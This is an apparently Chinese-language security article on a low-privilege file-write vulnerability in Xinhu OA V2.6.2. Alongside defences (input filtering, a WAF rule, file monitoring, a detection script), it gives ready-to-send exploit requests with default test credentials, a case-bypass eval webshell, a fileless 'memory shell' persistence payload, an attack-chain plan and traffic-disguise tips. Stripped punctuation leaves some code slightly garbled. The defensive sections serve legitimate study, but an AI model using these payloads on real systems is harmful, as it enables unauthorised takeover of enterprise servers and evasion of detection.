信呼OA V2.6.2 低权限用户文件写入漏洞深度剖析与利用
1. 信呼OA V2.6.2漏洞背景与影响范围信呼OA作为一款开源的企业协同办公系统凭借其PHP语言编写和简单易用的特性在中小企业中拥有广泛的应用基础。根据公开数据统计目前互联网上运行的信呼OA实例超过1万个其中V2.6.2作为2023年底发布的最新版本本应具备更高的安全性。然而近期发现的低权限文件写入漏洞却让普通用户也能轻松获取系统控制权。这个漏洞的特殊性在于它打破了常规认知——传统OA系统的安全漏洞往往需要管理员权限才能利用。但在信呼OA V2.6.2中任何拥有基础账号的用户如默认的xiaoqiao/123456等测试账号都可以通过特定接口实现任意文件写入。更危险的是漏洞利用过程不需要任何复杂技巧攻击者只需发送精心构造的HTTP请求就能在web目录下生成可执行的PHP文件。2. 漏洞触发机制深度解析2.1 核心漏洞点定位漏洞的根源位于webmain/main/flow/flowAction.php文件中的copymodeAjax方法。当系统处理流程模板复制请求时会接收用户可控的name参数并将其直接拼接到PHP类定义代码中。以下是漏洞触发的关键代码路径// flowAction.php中的copymodeAjax方法 public function copymodeAjax(){ $id $this-get(id); $name $this-get(name); // 用户可控输入 //... $this-createtxt($filepath, $content); // 危险的文件写入操作 }2.2 数据流完整链条攻击者提交的恶意参数会经历以下处理流程通过index.php?dmainmflowacopymodeajaxbooltrue接口传入name参数参数经过strtolower转换为小写这为后续绕过制造了障碍系统将参数拼接到PHP类模板中生成类似以下结构的代码class mode_[name]ClassAction extends inputAction { // 用户注入的代码将出现在这里 }通过createtxt方法将构造的代码写入webmain/flow/input/目录2.3 权限绕过原理这个漏洞最令人担忧的特性是低权限利用。系统在设计时认为模板操作属于常规业务流程因此未对copymodeAjax接口做严格的权限校验。实测表明即使是仅有基础浏览权限的账号也能成功触发文件写入操作。这暴露出系统在权限控制矩阵设计上的重大缺陷——未对敏感文件操作进行垂直权限校验。3. 漏洞利用实战演示3.1 基础利用步骤登录普通账号使用默认测试账号如xiaoqiao/123456登录系统构造恶意请求POST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Content-Type: application/x-www-form-urlencoded id1namea{};phpinfo();class a访问恶意文件http://target/webmain/flow/input/mode_a{};phpinfo();class aAction.php3.2 绕过大小写限制的技巧由于系统强制将输入转为小写直接写入?php eval($_POST[cmd]);?这类常见webshell会失效。我们通过PHP的字符串处理函数巧妙绕过POST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 id1namea{};eval(strtoupper(eval($_REQUEST[1]);));class a访问时传递参数http://target/.../mode_a{};eval(...);class aAction.php?1echo md5(1);3.3 实战注意事项文件名中的特殊字符需要URL编码如{}需编码为%7B%7D多次利用时需修改class后的标识符避免重复写入路径存在两个可能位置webmain/flow/input/mode_[name]Action.phpwebmain/model/flow/[id][name]Model.php4. 漏洞防御与修复方案4.1 临时缓解措施对于无法立即升级的用户建议采取以下应急方案在flowAction.php中添加输入过滤$name str_replace([;,{,}], , $name);限制webmain/flow/input/目录的PHP执行权限修改默认账号密码禁用测试账户4.2 官方修复方案信呼OA官方已在后续版本中通过以下方式修复该漏洞对name参数增加严格的正则校验在createtxt方法中添加内容安全检测为模板操作接口添加权限验证4.3 长期安全建议实施最小权限原则严格区分功能权限建立文件操作白名单机制对动态生成的PHP文件进行代码签名验证定期进行安全审计特别关注文件写入操作点5. 漏洞深入利用与高级技巧5.1 内存马注入技术除了常规webshell还可以利用PHP的特性注入内存马。通过注册shutdown函数等方式可以实现无文件持久化id1namea{};register_shutdown_function(function(){eval($_GET[1]);});class a5.2 组合漏洞利用思路结合信呼OA其他漏洞可以实现更复杂的攻击链先通过SQL注入获取管理员session利用后台插件上传功能获取更稳定的shell最后使用本漏洞作为备用通道5.3 流量伪装技巧通过修改User-Agent和Referer头将恶意请求伪装成正常流量POST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Referer: http://target/index.php?dmainmflowacopy6. 漏洞检测与自动化工具6.1 手工检测方法使用curl进行快速检测curl -X POST http://target/index.php?dmainmflowacopymodeajaxbooltrue \ -d id1nametest -s | grep -q success echo Vulnerable6.2 自动化检测脚本以下是Python检测脚本示例import requests def check_vuln(url): payload {id:1, name:a{};echo md5(1);class a} try: r requests.post(url/index.php?dmainmflowacopymodeajaxbooltrue, datapayload, timeout5) if r.status_code 200: test_url url/webmain/flow/input/mode_a{};echo%20md5(1);class%20aAction.php return requests.get(test_url).text.strip() c4ca4238a0b923820dcc509a6f75849b except: return False6.3 流量特征分析攻击流量通常具有以下特征POST请求路径包含copymodeajaxbooltrue参数中包含PHP代码片段后续访问非常规的PHP文件路径7. 企业级防御体系建设7.1 WAF规则配置针对该漏洞的防护规则示例SecRule ARGS_POST:name rx [;{}] \ id:10001,phase:2,deny,msg:Xinhu OA RCE Attempt7.2 文件监控策略对关键目录建立实时监控inotifywait -m -r /var/www/html/webmain/flow/input/ -e create | while read path action file; do if [[ $file ~ \.php$ ]]; then echo Warning: PHP file created - $file fi done7.3 应急响应流程发现漏洞利用后的处理步骤立即隔离受影响服务器检查/webmain/flow/input/目录下的异常文件审计系统日志定位攻击源重置所有用户会话更新系统到最新安全版本

相关新闻